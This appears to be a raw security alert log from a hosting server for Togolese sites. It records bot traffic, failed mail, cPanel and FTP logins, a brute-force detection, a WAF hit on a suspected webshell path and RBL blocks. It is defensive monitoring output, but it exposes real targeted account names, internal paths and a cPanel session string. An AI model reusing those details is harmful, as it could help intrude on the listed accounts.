description:
47.128.96.12 - - [09/Jun/2026:18:10:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171476&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ftrafic-denfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028631 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/trafic-denfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [09/Jun/2026:18:12:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10318024&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmiss-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028728 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/miss-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:18:12:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607576&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finstitution-francais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028771 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/institution-francais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 18:14:42 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46372: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [09/Jun/2026:18:15:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10183577&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffaure-gnassingbe-honore-les-militaires-pour-leur-bravoure%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028902 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/faure-gnassingbe-honore-les-militaires-pour-leur-bravoure/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-09 18:15:05 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:49975: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-09 18:14:27 +0000] info [cpaneld] 103.253.27.219 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [09/Jun/2026:18:14:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080423&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnomegnon-agbo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028892 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nomegnon-agbo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-09 18:15:28 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:49976: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [09/Jun/2026:18:16:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143338&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnomegnon-agbo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781028961 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nomegnon-agbo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.126.221
country_id: 2363686
description:
2026-06-09 18:16:34 dovecot_login authenticator failed for H=(ABT) [196.171.126.221]:49978: 535 Incorrect authentication data (set_id=myriadefournitures@mftogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [09/Jun/2026:18:17:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133163&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmoyen-orient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029039 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/moyen-orient/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun  9 18:18:59 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.232
country_id: 130758
domain: wellcity.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/images/images/cache.php||SC:/home/conforwellty/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.217
country_id: 3175395
description:
Jun  9 18:19:22 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.83.142.110
country_id: 732800
description:
Jun  9 18:19:33 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.83.142.110 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.136
country_id: 1880251
description:
47.128.96.136 - - [09/Jun/2026:18:19:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12897180&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frgph%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029158 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/rgph/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.136


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.211.21.213
country_id: 1269750
description:
Jun  9 18:19:57 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.211.21.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.237
country_id: 2300660
description:
Jun  9 18:20:21 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.237 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [09/Jun/2026:18:20:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857894&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frgph%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029248 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/rgph/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [09/Jun/2026:18:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7062168&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finstitution-francais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029273 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/institution-francais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.153
country_id: 1880251
description:
47.128.96.153 - - [09/Jun/2026:18:21:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788758&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fanniversaire-de-la-disparition-du-general-gnassingbe-eyadema%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029318 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/anniversaire-de-la-disparition-du-general-gnassingbe-eyadema/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.153


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-06-09 18:22:14 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:61814: 535 Incorrect authentication data (set_id=hr@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
country_id: 1814991
description:
Jun  9 18:22:12 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [09/Jun/2026:18:22:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607881&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmoyen-orient%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029330 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/moyen-orient/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 35.222.153.104
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (35.222.153.104) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.223.38.27
country_id: 1814991
description:
Jun  9 18:22:42 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.223.38.27 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.123
country_id: 1880251
description:
47.128.96.123 - - [09/Jun/2026:18:24:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988761&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjo-tokyo-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029440 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jo-tokyo-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun  9 18:23:23 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-09 18:23:59 +0000] info [cpaneld] 5.231.255.50 NEW sotragonet:S6NMLJTw9iP2ZvJ1 address=5.231.255.50,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.139.225
country_id: 2363686
description:
[2026-06-09 18:24:01 +0000] info [webmaild] 196.168.139.225 - some.f@inger.tg "GET /cpsess8763536428/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:18:24:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727585&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcabinet-hm-consulting%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029470 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cabinet-hm-consulting/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:18:25:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10382186&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029528 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.133
country_id: 3469034
description:
Jun  9 18:25:59 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.91.16.13
country_id: 1522867
description:
2026-06-09 18:25:58 H=([178.91.16.13]) [178.91.16.13]:26745 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:18:25:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12883812&pdata=http%253A%252F%252Fmatwtogo.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029552 HTTP/1.1" 404 561 matwtogo.org "http://matwtogo.org/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.26
country_id: 6252001
description:
205.169.39.26 - - [09/Jun/2026:18:25:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858416&pdata=http%253A%252F%252Fmatwtogo.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029550 HTTP/1.1" 302 0 matwtogo.org "http://matwtogo.org/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.26


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [09/Jun/2026:18:26:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055275&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fministere-des-enseignements-primaire-secondaire-technique-et-de-lartisanat%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029572 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ministere-des-enseignements-primaire-secondaire-technique-et-de-lartisanat/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.133
country_id: 3469034
description:
Jun  9 18:26:13 ns5 auth[974181]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.232.235.137
country_id: 617790
description:
[2026-06-09 18:26:43 +0000] info [whostmgrd] 213.232.235.137 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.96.58.155
country_id: 798549
description:
[2026-06-09 18:26:48 +0000] info [whostmgrd] 80.96.58.155 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.12.30.17
country_id: 3895114
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/fr/nos-projets/7 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-27.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Top-Scoring Player Prize bonotdamvam.blogspot.nl Ub||Email:jjrla27@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [09/Jun/2026:18:28:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212055&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fresultats-du-bac-i%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029711 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/resultats-du-bac-i/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [09/Jun/2026:18:30:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000578&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-supprime-visa-entree-africains%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029852 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-supprime-visa-entree-africains/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 134.209.235.211
country_id: 2921044
description:
Jun  9 18:30:28 ns5 pure-ftpd[1064171]: (?@134.209.235.211) [INFO] New connection from 134.209.235.211


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.174
country_id: 6252001
description:
Jun  9 18:31:05 ns5 pure-ftpd[1065574]: (?@198.235.24.174) [INFO] New connection from 198.235.24.174


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [09/Jun/2026:18:30:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737880&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-creation-universite-datcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029814 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-creation-universite-datcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.127
country_id: 1880251
description:
47.128.96.127 - - [09/Jun/2026:18:31:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116178&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcrimes-sexuels%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029902 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/crimes-sexuels/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.127


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 66.93.163.193
country_id: 6252001
description:
66.93.163.193 - - [09/Jun/2026:18:33:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660052&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2087&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029982 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:66.93.163.193


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.13
country_id: 1880251
description:
47.128.96.13 - - [09/Jun/2026:18:32:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711956&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcrimes-sexuels%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781029972 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/crimes-sexuels/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.13


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.253.27.219
country_id: 1880251
description:
[2026-06-09 18:32:44 +0000] info [cpaneld] 103.253.27.219 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:32:54 ns5 pure-ftpd[1066704]: (?@119.161.96.78) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [09/Jun/2026:18:33:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815958&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fremboursement-de-la-dot%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030003 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/remboursement-de-la-dot/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [09/Jun/2026:18:33:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054763&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030010 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 119.161.96.78
country_id: 1269750
description:
Jun  9 18:33:40 ns5 pure-ftpd[1067265]: (?@119.161.96.78) [WARNING] Authentication failed for user [www]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [09/Jun/2026:18:33:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065516&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvacances-numeriques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781030011 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vacances-numeriques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.150.39.246
country_id: 3585968
domain: macite.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
